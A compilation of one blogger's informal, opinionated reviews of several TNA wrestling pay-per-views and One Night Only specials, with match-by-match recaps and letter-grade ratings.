Morgan of course has had nothing to say so far. Joe kicks Christian into the barrier which more or less explodes as Christian FINALLY gets a counter to hit a DDT onto the floor and Joe is in trouble. He fights out of everything but still winds up on his back. Christian misses the splash and they slug it out. I think they’re going for the epic encounter here but it’s really not clicking like they want it to.

Morgan won’t let Christian leave so Joe again is like forget this and hits the flying fat man spinning corkscrew plancha to crush Christian. THIS is the Joe that was the hottest thing in the world when Kurt showed up to challenge him. Clutch and Unprettier are both reversed and Joe gets a Buckle Bomb. Christian gets a powerbomb out of the corner with feet on the ropes for two. This is rapidly getting awesome.

Clutch is countered again and we head up to the corner. A headbutt sends Christian to the floor and Joe is down in the ring. And here’s Tomko because we have to overbook this. Tomko goes at it with Morgan so AJ can sneak down. He goes for the forearm but Morgan makes the save. Morgan chases both of them off with a chair but Christian gets a low blow and the Unprettier for two.

Christian hooks on the Clutch but it only gets two arm drops and here comes the fat man. Muscle Buster hits and there’s the Clutch from the master of it and Christian taps for his first clean loss in the company.

Rating: B+. I really liked this as it was a rather competitive match. Both guys were out there working hard and this looked like a match that belonged on the biggest show of the year. I really liked the lack of actual interference as it tends to taint a match like this. This came off very well and it came off like a major match should. Good match.

And now let’s make sure to forget about the two guys that just had the match of the night to talk about Nash and Sting more. Why is Nash getting like four segments here when he’s not even wrestling tonight? He talks to Sting whose son Angle pushed or something. Nash says Angle is all he has and that’s all he can do to get back to the spotlight as he’s too banged up. This is idiotic.

We have to have the Monster’s Ball recap now because it’s a tradition here. I’m REALLY not a fan of having this here now as it’s such a letdown after seeing a very good match like we just did. Don’t believe me that it’ll be weak? Look at the lineup.

Raven vs. Rhyno vs. Black Reign vs. Abyss

Yeah it’s just a bit hardcore match in between the two big wrestling matches. Don’t you love the way this company books things? It just sounds like a stupid match. We get going before Abyss is here and scratch that as he’s here now. Raven takes down Abyss and here come more of the weapons. Rhyno puts a trash can between Reign’s legs and hits it with a golf club.

This match really is taking me out of the show as all of a sudden the match comes off as uninteresting and totally unimportant. Granted it might feel like that because that’s the situation. Rhyno misses a Gore and goes through some kind of wall and Rhyno is in trouble. Raven is busted open and drops a big elbow off the balcony onto Abyss to put him through a table.

Basically it’s down to Reign and Abyss who is more or less dead. Ok scratch that as Raven is back. Shattered Dreams to Raven and they cut away from the impact. Abyss brings in the tacks/glass but Goldie blocks him. Rhyno is back in now as almost everyone is busted open. Gore to Reign but Raven knocks out everyone with weapon shots.

Raven busts out the bag of stuff and here’s James Mitchell to yell at Raven. There are the glass and the tacks and of course since Raven laid them out he winds up going into them, this time through the means of the Black Hole Slam. And now the match is over. I still don’t care at all.

Rating: D. It came, it happened, you know what to expect here, Abyss gains nothing and the other three still mean nothing. Take us to the main event to get me back into this show now.

We talk about how both have history in Atlanta. Sting it’s more from a company based in Atlanta but whatever. This is nothing special but it gives a theme to stuff though. No mention of the son though.

TNA World Title: Sting vs. Kurt Angle

I guess Nash couldn’t make it to the match. What do you mean he was never in this? He’s gotten more camera time than anyone else tonight so how can he not be in the match? Angle is defending remember. Not that it means anything for the most part but figured it needed to be pointed out. Bit match intros are still fun no matter how many times we’ve heard them.

Big heat on Angle so he’s got that going for him at least. They feel each other out to start. One time they need to feel each other up to start just for a change of pace. They trade arm work and Sting keeps offering clean breaks. Sting outwrestles him a bit and Angle hits the floor to clear his head. His hip might be a bit hurt. Lot of feeling out process here so far with no one really getting an advantage at all.

They hit the floor and Angle’s bald head hits the table. Angle’s shoulder hits the post but he manages to get a German to get out of the Death Drop. Another belly to belly puts Sting down. Double clothesline puts both guys down though and we wait for Nash. Sting wins a striking contest as they crank it up again. Sting hits a spinebuster (???) for two.

A pair of splashes hit and a bulldog puts Angle down. Sting, ever the idiot, doesn’t go for a finisher but rather goes up top against Kurt Angle. After he comes crashing down Angle gets the Slam countered and we hit the Rolling Germans for two. Ankle lock goes on but Sting gets a Bret Hart caliber counter to hook the Scorpion. That was AWESOME looking.

And here’s Karen to screw things up because we have to have more people in the main event than usual. Nash comes in and lays out Sting as Karen is taken out. Angle Slam hits for two as the Nash/Karen thing proves to be relatively pointless. A top rope Sting splash misses as Angle gets the knees up for two.

Kurt goes up and busts out a 450! He completely misses Sting as in his toes didn’t even hit Sting but who cares about that as it looked COOL! Ankle Lock goes on but Sting rolls him into Nash. And down goes the referee as Sting hits the Death Drop. Why do they have to overbook it???

Another referee comes out and Nash breaks it up again. Dang it go away! He comes in and beats up Sting so Sting beats up both of those two. Angle gets the bat but Sting hits him with it instead and crotches Nash. Death Drop FINALLY ends this. And then he lost the title back to Angle TWO DAYS later and Angle held it until April when Joe won it. Yep that’s TNA for you.

Rating: C+. This was good but definitely not great. The Nash and Karen stuff was just a waste of time. What did Nash add to this match at all? The overbooking hurt what was otherwise a good match. Sting winning to end Angle’s very long reign was the right choice, although having him lose it the Impact after the followup show was stupid. Although then again this is TNA. Decent match though but not great at all.

Overall Rating
: D+. Well it’s not horrible. That’s about as high as I can give it though as there were parts on here that were just bad. The biggest issue I have here: there were FIVE gimmick matches out of nine total and you could argue that Joe vs. Christian was one as well given the enforcer. That’s just WAY too high and is bordering on a WWE gimmick PPV. There were good moments here but they’re outweighed by the bad which drags this down. Not the worst show ever but not a great one at all.

 

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TNA One Night Only – 10 Reunion: Stop Me If You’ve Seen This Before

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Date: August 2, 2013
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz

We get a music video, set to a song about taking it higher and higher, of highlights from the X-Division with a focus on the old weekly PPV days. Nice stuff here.

Kenny King vs. Sonjay Dutt vs. Petey Williams

Off to some Rings of Saturn into a rollup for two on Dutt but now King is back in. Both Dutt and Kenny are put in 619 position but King gets up before taking a dropkick to the back. Sonjay hits a running forearm to Sonjay in the corner and bulldogs him down onto King for two. Kenny takes both guys down and sends Dutt to the floor. A legdrop crushes Williams for two and Dutt is dropkicked back to the floor. Off to a crossface chickenwing on Petey but King is no Bob Backlund so Petey fires off some elbows to escape.

Petey comes back with some chops but Sonjay has to come back in to break up the Royal Flush. Sonjay shoves Williams down to avoid a superplex but King crotches Dutt on the top. King is clotheslined to the floor and Williams snaps off a slingshot hurricanrana. Back in and Dutt hits a quick hurricanrana on Williams but King comes in to put Dutt down with snake eyes. We hit the chinlock on Sonjay followed by a running knee to the ribs for two. Williams comes back in to drop both guys but gets caught in a Sonjay small package for another near fall.

Gail Kim vs. Velvet Sky

8. Kurt Angle moonsaults Mr. Anderson at Lockdown, mostly missing.

7. Joe vs. Daniels vs. AJ in the Unbreakable three way. That should be higher up. Like WAY higher up.

Gauntlet Battle Royal

Morgan knocks Shark Boy into the corner as Anderson offers a truce with the big man. Shark Boy hangs on in an elimination attempt but Anderson stomps him down onto the apron. Morgan finally turns on Anderson and chokes him in the corner until Johnny Swinger is #9. He fires away at the stars until Anderson takes over on him and the match slows down AGAIN.

6. Hogan loses to Sting at Bound For Glory 2011 and turns face. It was so nice of him to put over that young Sting kid.

Video on the tag team division over the years.

Team 3D vs. LAX vs. Bad Influence

5. Christian comes to TNA.

Austin Aries vs. Jeff Hardy

3. AJ Styles beats Jerry Lynn twice in a row to become the first X-Division Champion.

2. Hulk Hogan signs with TNA.

Video on James Storm vs. Bobby Roode over the years. I think this is borrowed from the build to Lockdown. This even gets a music video, complete with video from Bound For Glory with the King Mo nonsense.

Bobby Roode vs. James Storm

Feeling out process to start with Storm taking him into the corner for a clean break. They trade hammerlocks before Storm runs Roode over with a shoulder. Storm takes him down with a backdrop but Roode bails to the floor to avoid the Last Call. Back in and Roode sends him over the top but Storm skins the cat and throws Roode to the floor. James hits Roode in the head with a water bottle but gets his throat snapped across the top rope to change control.

Speaking of nostalgia, Samoa Joe is ready to beat Kurt Angle and he wants to do it by knockout.

Samoa Joe vs. Kurt Angle

We even get big match intros for this one. Joe grabs a wristlock to start but Angle counters into a hammerlock. We keep going with the basic feeling out stuff until a shoulder block sends Angle out to the floor. Back in and another shoulder puts Angle on the outside again. Kurt is sent face first into the steps but gets in an elbow to the back as Joe comes back in. This is pretty slow paced stuff so far.

A LONG highlight video (as in like 5 minutes) ends the show.

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On This Day: July 13, 2008 – Victory Road 2008: TNA Does The Olympics

Victory Road 2008
Date: July 13, 2008
Location: Reliant Arena, Houston, Texas
Attendance: 3,000
Commentators: Don West, Mike Tenay

So this is just another PPV despite what TNA would want you to think. The main event is Joe vs. Booker as we’re in Booker’s home town and Joe has had issues with Booker for awhile. I’m starting to remember these feuds more concretely now so I might actually have some insight. This is also the final round of the World X Cup which is kind of like an Olympics thing TNA did that I never really thought was all that special although there are a lot that do. Let’s get to it.

The opening video is about NASA and doing things never before done. Kind of weak but I can live with that. Just what is a Victory Road though?

The set looks like an old Nitro set. I think I like that. Ultimate X is back tonight and there’s a Fan’s Choice match tonight.

JB is outside and we’re asked what we want in the 6 man: falls count anywhere, tables, or full metal mayhem (TNA’s TLC). Polls are open until 11 tonight, which is after the show ends. Brilliance.

Lauren (GORGEOUS) is with BG James who says absolutely nothing of note.

Team Mexico vs. Team Japan vs. Team TNA vs. Team International

Team Mexico – Ultimo Guerrero/Rey Bucanero/Averno
Team Japan – Milano Collection A.T./Masato Yoshima/Puma
Team International – Alex Kozlov/Doug Williams/Tyson Dux
Team TNA – Curry Man/Alex Shelley/Chris Sabin

This is a 12 man four corners elimination match. Coming into this the standings are Team Mexico and Team TNA with three points and the other two with two points. This is for three points. I’ll do what I can to tell the people apart but don’t expect much. Apparently it’s EVERY MEMBER has to be eliminated. I miss Curry Man.

 

Daniels can shake his hips when he has to which is odd to type if nothing else. The Guns are starting to come into their own here and it’s working to an extent. Pretty soon they would be jobbing to big teams rather than just bad ones. Curry and Yoshino start us off.

 

And here are the Guns to beat the tar out of him. West points out how it’s smart to stay on the apron because it’s easier to stay in the match by being out of it, which actually makes sense. All of Team Mexico beats up Williams as this is a total mess at this point due to so many people being in it.

 

Dux goes for a victory roll but Bucanero drops into it kind of like a piledriver (think Owen vs. Bret at Mania X but more like a spike than a rollup if that makes sense) to get us down to eleven which is still too many. Team Japan beats the tar out of Bucanero in some painful looking stuff.

 

We crank the speed up a lot here and Puma is gone. There are two referees here thank goodness. What kind of a name is Milano Collection AT? It sounds like a cookie company or something. Cradle Shock takes him out anyway. That leaves just Yoshima for Team Japan.

 

West points that out and Tenay of course repeats it like 8 seconds later. Shelley hits a SWEET baseball slide on him while he’s in the Tree of Woe. He catches Shelley in an Octopus hold which is one of the most painful holds ever but of course just lets it go since it’s not that important I guess.

Shelley is just beating the heck out of Yoshino. Averno and Yoshino have a very nice high speed sequence as Yoshino is just trying to hang on. Averno gets pinned off a rollup though so we have one down for International and Mexico, two down for Japan, and TNA is intact. Chaos Theory on Sabin is broken up at two.

 

Team Mexico hit a pair of springboard cross bodies which looked great. Williams’ face is great when he gets nailed with a high spot. Guerrero hits a middle rope powerbomb on Curry Man to get us down to seven people left. That’s bearable at least. A crazy double team gets rid of Williams. I know I’m saying a lot really fast here but there’s no transition between a lot of these pins.

 

It’s the Motor City Machine Guns vs. Yoshino vs. Kozlov vs. Guerrero and Bucanero. Guerrero hits a gordbuster off the top for two on Kozlov. Kozlov gets a SWEET Russian Leg Sweep into a Cobra Stretch a la Delirious for the tap from Guerrero. This is FAST. Sabin hits a GREAT hurricanrana into a double super kick on Bucanero to get rid of Team Mexico. That clears things up a lot.

 

Since it’s a multiman match, it’s…actually not a Tower of Doom even though they were in position for one. All four are in the ring for a long time as they’re not even trying to have a coherent match at this point and I can’t really blame them. Sabin does the same run after the other guy thing that DiBiase does but hooks a Diamond Cutter instead of a clothesline. This is rather good stuff.

 

Kozlov goes heel and pulls the referee in front of him before rolling Sabin up and using the ropes to get rid of him. We’re down to Yoshino, Shelley and Kozlov here. Kozlov hits a great enziguri to counter a dive that missed for two on Yoshino. Sick looking move. Kozlov taps to Yoshino and we’re down to one on one.

 

Shelley kicks his head off and Sliced Bread gets two only. I would have bet on that being the end. A PAINFUL looking Tiger Suplex gets two. Shelley just goes OFF and hits something like a reverse Emerald Flowsion for the pin.

Rating: B. This was a hard one to grade as it’s very different from anything most people will be used to. It’s definitely a great match as far as athleticism and showing off, but at the same time nearly half an hour is a bit much. This was definitely good though and a GREAT way to get the crowd fired up.

 

The problem though is what Don West says immediately after the final pin: I’m exhausted from watching that. I think that could be a problem as that’s likely to be the most exciting thing all night long. Hopefully not though.

Updated Standings:

TNA – 6
Japan – 4
International – 3
Mexico – 3

We run down the rest of the card which we’ve already paid for at this point.

We see Booker’s “Homecoming” which is just a tour of his house and how much stuff he has. It’s a nice house if nothing else, but this is nothing but a waste of time.

We recap Angelina vs. Gail which is over Love interfering which allegedly is about her being jealous. I didn’t realize that Beautiful People were two and a half years old.

Angelina Love vs. Gail Kim

Just Love and Sky at this point and a bit more conservative. We hear about how proud Kim is to be a Knockout. Yep, proud enough that she bailed on the company for more money. Velvet interferes early to give Love the advantage. The BP weren’t that good in the ring yet at this point so they had to cheat.

 

Kim gets a Figure Four around the post but doesn’t lean back with it so it just looks weird. This is a pretty basic match but it’s working fairly well I think. Kim busts out a Codebreaker and a neckbreaker for the pin. Kind of anti-climactic ending but what do you expect? Post match Gail avoids a double beatdown.

Rating: D. Just not that good. I know Love is pretty bad in the ring but still this just wasn’t a very good match at all. Love was still getting used to wrestling and while Kim is good, she’s not good enough to carry something like this. Good to see her get the win though which is the right thing.

Lauren and BG James are with the 12 “fans” armed with leather straps for the Fan’s Revenge match tonight.

We recap Lethal vs. Dutt which was supposed to be an homage to the Mega Powers or something like that but it didn’t work at all. So Cal Val being around a lot was nice though.

Jay Lethal vs. Sonjay Dutt

So Lethal is Randy Savage and Dutt is an Indian peace man or something. Dutt gives Val a rose and a card and the fight is on. It’s ALL Lethal to start us off here. Lethal misses a dropkick by about two feet but it’s sold anyway. That makes my head hurt. Tenay says Guru like Gru so it’s very annoying.

 

Dutt goes for a slingshot move. I assume he did at least as that’s what Tenay said. Not like we got to see it or anything. This is fast paced but no one really cares it seems. I mean really, an homage to a 20 year old angle with these two? Seriously? This is mostly Dutt in control but we’re at about look #38 at Val. We get it: she’s hot and concerned.

 

Lethal takes over but Val gets nervous and Dutt nails him. Dutt says he loves Val, and the camera work is KILLING this match. Val gets involved AGAIN and this time it lets Dutt roll Lethal up for the pin. Dutt kisses her hand before leaving. Of course Val would turn on Lethal later as EVERYONE expected.

Rating: D. Like I said, the cameras killed this as they were constantly looking at Val and missing spots because of it. A lot of the time it’s better to just keep the camera on the ring and don’t worry about the hot chick.

 

Either way, this wasn’t going to be that good anyway as they kept doing the same thing (fight a bit, look at Val, lose control because of it) and that was how the match ended. Just an overly long and not that good of a match.

Recap of Beer Money vs. LAX who are feuding because…well because LAX have the belts and Beer Money are challengers. No reasons for the Fans’ Revenge stuff but whatever.

Beer Money and Jackie talk about being mad. Seriously, can someone shoot Jackie?

Tag Titles: Beer Money vs. LAX

Jackie stays in the back thank goodness. Ah ok Beer Money beat on LAX in an Impact match where afterwards they tied them up and hit them with belts. I found that on Wikipedia so there you go. That’s the crack TNA recapping staff for you. The fans with the straps are all wearing LAX shirts so you can figure out what’s going to happen here.

 

Hector Guerrero is with them and has a massive sombrero. He looks IDENTICAL to Eddie. So Beer Money are challengers, have no fans on the floor, and don’t have their manager. This is perfectly logical. Roode gets slapped by the straps a lot and runs to Storm. This is SO riveting. Homicide doesn’t get whipped and steals some of Storm’s beer. Why are girls so often called gals? Is one more letter so hard to say?

 

I’ve never seen the genius that Homicide allegedly is in the ring. Storm runs under the ring in kind of a funny bit. Homicide hits Three Amigos to get an Eddie chant going. Beer Money hit a Hart Attack in a nice move. Storm doesn’t let go of the legs and puts on a Boston Crab in a nice move. That was my issue with the Hart Attack: Anvil never really did much. We get a hot tag to Hernandez who cleans house.

 

This just isn’t interesting at all for some reason. It’s just happening and I’m not really caring about it at all. Hernandez’s power is insane at times. He hits a top rope splash on Roode where the referee counts three since Storm misses his cue. They just say it’s two anyway but whatever. A Doomsday Device ending with a Diamond Cutter ends it for LAX.

Rating: D+. So? That’s the only thing I can think of to say. The faces win a match they were supposed to win and there’s no point to this feud anymore. This just wasn’t worth much at all as the straps were all to beat up Beer Money and the whole match just made LAX look even stronger. What’s the point of that? And why didn’t Roode even try to buy some of them off?

More of Booker, this time at the PWA training center where we see some of his guys wrestling. That’s actually kind of cool, but it’s making him look like a face when he’s the heel. Oh right it’s TNA.

We recap Taylor Wilde vs. Awesome Kong, which can be summed up as Wilde was a fan from the crowd that was given a title match and won it. Yeah that’s really all there is to it.

Knockouts Title: Awesome Kong vs. Taylor Wilde

No intro for Kong here either. Makes perfect sense doesn’t it? Yep Wilde is hot. Not sure why I was ever unsure on that one at all. Kong dominates early on as you would expect as the camera work stays bad. Kong hooks a camel clutch of all things which is a move that works for her actually.

 

Wilde is more or less just fighting for all she can but when she grabs Kong by the hair, Kong flicks her into the corner BY THE HAIR. FREAKING OW! Kong takes her head off with a clothesline because she can. Wilde hits an armdrag off the top and is STUNNED yes STUNNED I say when she only gets two. I love idiotic wrestlers.

 

Wilde reverses the Implant Buster into a victory roll to get ANOTHER pin on Kong. Kong and Saed beat her up afterwards….and Abyss makes the save. Uh, reason? Black Hole Slam to Saed and we’re done here.

Rating: C-. At least they kept it short. Wilde was at least something new, but she more or less killed Kong’s character. She was hot though so she worked fine. She’s a good worker though so we need Rosie Lotta Love instead. Anyway, this wasn’t terrible but it’s far from good either.

Booker and Sharmell have dinner at Booker’s restaurant but Booker insists on making sure the portions are small and the drinks are watered down. Booker more or less says he’s the biggest businessman in Houston. Well they’re trying at least.

We get a 10 second look at NASA stuff. WOW.

Here’s a video package on Ultimate X. No commentary needed apparently.

Ultimate X: Kaz vs. Volador Jr. vs. Naruki Doi vs. Daivari

This is for four points apparently, so more or less the winner wins everything, making the entire previous three rounds totally pointless. Daivari is allegedly predictable in this. Ok then. West thinks Kaz is the favorite because of his experience letting him know that he’ll know how to win earlier. YOU CLIMB UP AND GRAB THE FREAKING X! How hard is this? Daivari wisely goes after Kaz’s arm.

 

That makes the most sense here if nothing else. Oh and only Kaz is a face here. We can’t have nice foreigners! West says Kaz is close to being a world champion. Oh the comedy! For about the 1000th time tonight we’re told about being allowed to vote for the stipulation tonight. WE GET IT!

 

Oh and also, great idea on telling us to stop watching your show so we can go get our computers to vote on something on the show later on. In other words, a stipulation for later on in the night is more important than the match you’re watching at the moment. Volador is pretty fun to watch. Kaz manages to get above the X and almost unhooks it but Daivari makes the save.

 

It worked as it’s not like Kaz had a long time up there like in a ladder match so it didn’t look completely ridiculous which is a very nice difference. Also he used his legs to get there so he kept selling the arm from earlier.

 

In a MIND BLOWING spot, Daivari is going across a cable with his back facing the ring so he’s looking up at the ceiling. Kaz climbs up to the metal thing that holds up the cables and JUMPS off of it, crashing down with a clothesline onto Daivari and killing himself in the process. That was INCREDIBLE. It also lets Volador go up and get the X for the win and the Cup.

Rating: B. This was another great high impact battle that worked perfectly for what it was supposed to do. I wasn’t sure who was going to win and I was thinking it would have been Team TNA but a surprise is always good. This was your usual crazy spotfest but it worked quite well.

Team Mexico accepts the trophy.

Booker T has a golf course and apparently is very good, even as good as Tiger Woods.

Frank Trigg is here and is doing commentary.

We recap Angle and the Dudleys vs. Christian, Rhyno and AJ. AJ accidentally married Karen. I know, I know. Just go with it. Kurt is ticked about it as Angle’s wife is sleeping with her husband AJ. See what I have to deal with here?

Kurt Angle/Team 3D vs. AJ Styles/Rhyno/Christian Cage

Team 3D beat up Christian and Rhyno to explain why they’re here. More or less it’s two feuds in one here to fill time. Eh I tend to hate that but I can live with it I guess. Dang AJ needs to be a face again. Angle hides at the broadcast table to jump AJ and it’s Full Metal Mayhem, which more or less is a TLC match where you win by pin.

 

Sweet goodness people is it THAT hard to keep a coherent camera shot? Trigg isn’t that great on commentary and I continue to wonder why he’s here. Angle goes off with a chair as this is just a total mess. AJ hits a sweet move as he jumps up to the top of a ladder with a springboard then off of it onto Bubba with a forearm. I LOVE that move. Christian goes up to the top of the Ultimate X structure and dives off.

 

You know that would have looked way better if we could have seen how far down he came if the camera hadn’t been above him. THAT is the stuff I have to deal with here. Rhyno gores everyone and of course can’t get a pin on anyone. So of course he takes a Doomsday Device through a table. What? You can’t see the clear transition there?

 

We’re just going from spot to spot here with no flow at all and it’s really very annoying. Christian blocks the running belly to belly and then gets 3D’d through a table. This match is making my head hurt. BUBBA HITS A SUPERKICK! AND NOT A  BAD ONE AT THAT! AJ has been 3-1 for like 4 minutes now.

 

He needs better partners. He puts both Dudleys through tables and hits the Styles Clash for two on Angle. And here’s Johnny Devine. WHERE ARE CHRISTIAN AND RHYNO??? Angle Slam gets two. Angle shoves Hebner and of course he hurts his ankle.

 

Can we get a strong referee? AJ sets up a table and a ladder but Trigg hits AJ with a kendo stick and Angle gets the Slam through a table for the pin. Literally, Christian and Rhyno were nowhere to be seen for at least 5 minutes straight at the end and the whole thing was 15 minutes.

Rating: D. This was the biggest mess I’ve seen in a long time. There was no flow anywhere near this as it was just spot after spot. Also, Christian and Rhyno being gone for that long is ridiculous. If they wanted to do AJ vs. Angle then they should have done AJ vs. Angle. Just a total mess but there were some good spots in there. Plus, Bubba doing a superkick is hilarious stuff.

Joe says he’s not afraid and tells Nash to stay in the back. He’s the mentor that of course is going to turn on him later on.

TNA World Title: Samoa Joe vs. Booker T

They’re trying to make this an epic match but I’m not getting the Austin/Rock vibes here. And now let’s have another video package. Now let’s watch both of them walk from the back. Why can’t Joe be this much of a monster now? We hear the beginning of his music and go to ANOTHER video about Joe. Seriously, is this necessary? Also why did he put the belt on his other shoulder during the video?

 

We get the IF JOE WINS WE RIOT sign. No, you won’t. See, in ECW it’s effective because they would have actually rioted. These people won’t and they know it. To kill more time we do big match intros. They chop it out and we’re just in the feeling out stages of course.

 

The fans are about 80% behind Booker here which is exactly what you would expect of him. We hit the floor and Booker takes over and busts Joe open. We’re at shot of Sharmell #8 after less than ten minutes. This is far from epic but it’s not bad I guess. Joe goes aerial a bit which wasn’t bad. There’s a lot of striking in the middle of the ring here and there goes the referee.

 

That’s so clichéd it’s not even funny anymore. We head to the floor for more chops and strikes that aren’t anything special. Joe does get a nice Ole Kick on the floor (Youtube it). Ok, we know what Sharmell looks like. We don’t need to see her every 18 seconds. Joe gets slapped by her and beats up her body guards. Oh and the referee is still down and hasn’t moved and therefore could be dead but no one checks on him. Great guys in TNA.

 

Booker is busted too. Ah there’s a second referee. Joe beats both of the other referees up. They were kind of going for an Austin/Taker insanity thing here and it’s not working really. The idea is he can’t beat Booker and he’s snapping and just beating the tar out of him for it.

 

Security hits the ring and down they go. Sharmell is in the ring as I know where this is going. He puts Booker in a choke and Sharmell screams for help. And cue Sting. There’s Bound for Glory’s main event. Sting gets him to leave and then he goes back to the ring to beat on Booker more.

 

Joe flips him off and says F you which earns him some bat shots. West asking why Sting is doing this cracks me up. Sharmell counts a three and Booker takes the belt. That would set up a cage match between Booker and Joe next month. The announcers being in SHOCK, yes SHOCK I say, ends it.

Rating: C-. While I’ve seen far worse, this wasn’t much at all. The whole insane brawling was a bit much and Joe snapping like that sucked. It set up next month and Bound For Glory even better but at the same time it was just boring. Joe was still decent here and the crowd was white hot though so points for that. Like I said, I’ve seen worse.

Overall Rating: D+. This wasn’t much, although it was better than the previous year’s show by far. The key thing here is that something actually happened. We ended the World X Cup, we move forward in the Joe/Booker feud as well as the Sting feud.

Angle vs. AJ is more or less set for Hard Justice and we had some new angles open up. Now don’t get me wrong: the show mostly sucked, but there’s a point to it which is the most important thing here. Not terrible, but the X Cup stuff is worth seeing if you’re bored and want something a bit different. The rest, not so much.

 

Remember to follow me on Twitter @kbreviews and pick up my book on the History of Starrcade from Amazon for just $4 at:

 




TNA One Night Only – Hardcore Justice 2: Ode To The Crash Holly Years

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Date: July 5, 2013
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Jeremy Borash

Every match tonight will be some form of a hardcore match.

Disciples of the New Church vs. LAX

Off to Slash who is immediately taken down by an over the shoulder backbreaker before being catapulted into a Homicide lariat for two. The Disciples take over on Homicide but Hernandez comes in to clean house as things break down. Hernandez puts on a hard hat for some reason as Homicide bulldogs Slash on the apron. Sinn gets beaten up with a stop sign before being sent back inside by Homicide.

All four guys are back in now and this is a pretty lame street fight. Slash misses a Swanton Bomb and gets choked by Homicide as we get back to the tagging. Homicide gets caught in a reverse FU from Slash but things break down again. Slash is sent to the floor and Homicide lays out Sinn with a Gringo Cutter, setting up a top rope splash from Hernandez for the pin.

Rating: D-. What in the world was this? The street fight portion of this lasted maybe two minutes and the rest was nothing more than a regular tag team match. The Disciples were a bad choice for this as almost no one remembers them and they were pretty terrible in the ring. LAX was a good team in their time but in a bubble like this they were just kind of there.

Video on Jackie and ODB being hardcore.

Jackie Moore vs. ODB

Rating: F. If you need an explanation for this, you fail as a wrestling fan.

Bad Influence vs. Generation Me

Ladder match as mentioned and Generation Me are Max and Jeremy Buck. They all shake hands to start but but everyone turns on everyone like true heels should. Generation Me takes over with some quick neckbreakers but Bad Influence takes them down with strikes. We get the first ladders brought in as this is moving very fast so far. Jeremy starts climbing but Kaz pelts another ladder at him for the save. The fans seem to be behind the Bucks as Kaz hits a TKO on Max from the top of the ladder.

Daniels gets backdropped onto a ladder and Kaz gets the same via a monkey flip. A ladder is bridged between the ring and the ladder so Max can spear Kaz down under said ladder. Daniels is dropkicked off the apron onto the ladder but Kaz saves his partner from being splashed through the ladder. Jeremy suplexes Kaz from the apron onto the ladder in a very painful looking landing.

Preview for the Ten Anniversary next month, which is a celebration of the first ten years of the company.

We recap the first three matches. Do we really need to do that after less than an hour on the air?

Bad Influence is taking the world over, one Appletini at a time.

Hardcore Gauntlet Battle Royal

Joseph Park is in the back and is panicking since no one has seen Abyss.

Mesias vs. Joseph Park

Post match Park goes after Mitchell but comes back to reality just in time.

Video on people going through tables.

Team 3D vs. Brother Runt/???

Remember to follow me on Twitter @kbreviews and pick up my book on the History of Starrcade from Amazon for just $4 at:




Turning Point 2005: He Is Coming Back

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Date: December 11, 2005
Location: Impact Zone, Orlando, Florida
Attendance: 900
Commentators: Mike Tenay, Don West

It’s the final 2005 PPV and we go out with what should have been the main event last month: Jarrett vs. Rhyno for the title. Other than that we’ve got AJ vs. Joe and Christian vs. Monty in a #1 contender’s match. This is looking like a better card than Genesis, but to be fair that doesn’t really seem like it would take much effort. Let’s get to it.

Jeff Hardy no showed the pre-show, which would be the final straw for him. He wouldn’t appear on TNA TV for over four years.

The opening video is about barbed wire. Why they’re talking about an opening match in the opening video I’m not sure but whatever.

Abyss vs. Sabu

This is barbed wire massacre, which means the ropes are replaced by barbed wire, which Abyss is terrified of. Abyss stomps on the chair that Sabu tries to bring in with him, so Sabu gets a barbed wire ball bat to scare Abyss away. Sabu tries to drive him into the wire but settles for a chair shot instead. Another doesn’t put Abyss down so he launches himself off the chair into a powerbomb position.

That gets Abyss down but he launches Sabu into the wire which draws a big gasp from the crowd. Sabu comes back with some punches but his cross body is caught and Abyss drops him throat first onto the wire. Sabu has a spike of some sort which he jabs into the shoulder of the monster, drawing blood. He tries another move off the chair but launches himself into the wire AGAIN. Dude, IT ISN’T WORKING FOR YOU!

With Sabu still tied up in the wire, Abyss charges but gets caught in a drop toehold into the wire. A chair shot gets two for Sabu. Abyss shrugs that off and chokeslams him onto a chair for two. Mitchell throws in a barbed wire covered chair and for SOME REASON, he tries an Earthquake onto it. The wire goes into Abyss’ crotch and I cringe a bit. That chair goes onto Abyss’ head twice and down he goes.

Abyss rolls to the floor so Sabu hits a huge flip dive over the wire to take Abyss out. Sabu throws a barbed wire board into the ring but gets draped over the wire stomach first. Back inside now and Abyss sets for a chokeslam onto the board, but Sabu bites the fingers to escape. Sabu winds up being launched into the air and landing stomach first on the wire. Abyss brings in another wire covered board and puts it in the corner. Due to the laws of wrestling, his charge misses and he gets all stuck in the wire. Sabu kicks Abyss down onto the other board into a sandwich, then drops a leg onto the top board for the pin.

Rating: C-. I’m not sure what to call this. For the violence and shock value it was fine, but as far as wrestling goes there was nothing here. Thankfully this was the ending to this feud which went on for months on end. The ending spot was pretty awesome but most of this was just a total freak show. They had to do this first too because of the ropes, which is annoying but there was no way around that.

We run down the remaining card to fill in some time while the ropes are replaced.

Jarrett and AMW got here earlier today.

Rhyno arrives too.

The 4 (yes 4) Live Kru says they’re going to violate Team Canada tonight.

Abyss gets checked out.

Now we talk about the card again.

Alex Shelley/Roderick Strong vs. Matt Bentley/Austin Aries

Holy Generation Next. Aries and Shelley gets us going here. Aries takes him down with some headlocks and then runs up the corners twice, resulting in a back elbow. Back to the headlock now as the fans like Austin a bit more it seems. The brainbuster is countered by a bite to the hand and it’s off to Strong. Aries takes him down almost immediately and works on the arm. Bentley comes in to a surprisingly good reaction.

The heels get him down into the corner and work him over though, resulting in Traci slapping the mat. Bentley ranas his way out of trouble and gets two at the same time. Aries comes in with his corkscrew splash for two. Off to Shelley who takes Aries down and hits a Lionsault for two. The referee misses a tag to Bentley, allowing the heels to hit a double team neckbreaker for two.

Strong stays on Aries and loads up a belly to back superplex, only to get punched down. Another double team, this time with Strong holding him up for a missile dropkick, gets two on Aries. Aries counters the third double team and makes the tag this time. House is cleaned and Bentley gets two off a top rope elbow. Shelley gets in a kick but his tornado DDT is countered. Bentley hits a top rope senton backsplash for two on Shelley. Shelley gets sent to the floor in front of his camera, letting Bentley superkick Strong for the pin.

Rating: C+. Just another X Division tag match here. Strong would never really do anything in TNA, whereas Shelley would become a big tag team star and Aries would become a big X Division star, albeit about five years later. Bentley never really did much of note but he had a hot chick in Traci. The match was fine for a time filling match that meant nothing.

Monty Brown is talking to a doll that he calls Christian Cage. Shane Douglas interrupts him and says Christian is trying to leapfrog Monty for his spot. Monty says that won’t happen and Christian will feel the Pounce. Jarrett comes up and says that the win won’t mean anything so Monty should join him. This really doesn’t seem to go anywhere.

